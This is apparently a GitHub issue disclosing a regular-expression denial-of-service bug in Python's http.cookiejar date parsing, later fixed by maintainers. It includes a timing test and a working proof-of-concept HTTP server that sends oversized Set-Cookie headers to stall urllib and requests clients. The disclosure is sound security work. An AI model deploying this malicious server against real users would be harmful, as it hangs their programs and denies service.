New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Regular Expression Denial of Service in http.cookiejar #82985
Comments
The regex http.cookiejar.LOOSE_HTTP_DATE_RE iss vulnerable to regular The regex http.cookiejar.LOOSE_HTTP_DATE_RE contains multiple overlapping \s* capture groups.
Therefore, a long sequence of spaces can trigger bad performance. Matching a malicious string such as
will cause catastrophic backtracking. Timing test: import http.cookiejar
import timeit
def run(n_spaces):
assert n_spaces <= 65506, "Set-Cookie header line must be <= 65536"
spaces = " " * n_spaces
expires = f"1-1-1{spaces}!"
http2time = http.cookiejar.http2time
t = timeit.Timer(
'http2time(expires)',
globals=locals(),
)
print(n_spaces, "{:.3g}".format(t.autorange()[1]))
i = 512
while True:
run(i)
i <<= 1 Timeit output (seconds) on my computer when doubling the number of spaces:
As expected it's approx O(n^3). The maximum n_spaces to fit in a Set-Cookie header is 65506 which will take days. You can create a malicious server which responds with Set-Cookie headers to attack all python programs which access it e.g. from http.server import BaseHTTPRequestHandler, HTTPServer
def make_set_cookie_value(n_spaces):
spaces = " " * n_spaces
expiry = f"1-1-1{spaces}!"
return f"x;Expires={expiry}"
class Handler(BaseHTTPRequestHandler):
def do_GET(self):
self.log_request(204)
self.send_response_only(204) # Don't bother sending Server and Date
n_spaces = (
int(self.path[1:]) # Can GET e.g. /100 to test shorter sequences
if len(self.path) > 1 else
65506 # Max header line length 65536
)
value = make_set_cookie_value(n_spaces)
for i in range(99): # Not necessary, but we can have up to 100 header lines
self.send_header("Set-Cookie", value)
self.end_headers()
if __name__ == "__main__":
HTTPServer(("", 44020), Handler).serve_forever() This server returns 99 Set-Cookie headers. Each has 65506 spaces. Vulnerable client using the example at the bottom of https://docs.python.org/3/library/http.cookiejar.html : import http.cookiejar, urllib.request
cj = http.cookiejar.CookieJar()
opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))
r = opener.open("http://localhost:44020/") The popular requests library is also vulnerable without any additional options (as it uses http.cookiejar by default): import requests
requests.get("http://localhost:44020/") As such, python applications need to be careful not to visit malicious servers. I have a patch. Will make a PR soon.
|
I'm now tracking this vulnerability at: |
The fix landed in all maintained versions, thanks. I close the issue. |
Note: these values reflect the state of the issue at the time it was migrated and might not reflect the current state.
Show more details
GitHub fields:
bugs.python.org fields:
The text was updated successfully, but these errors were encountered: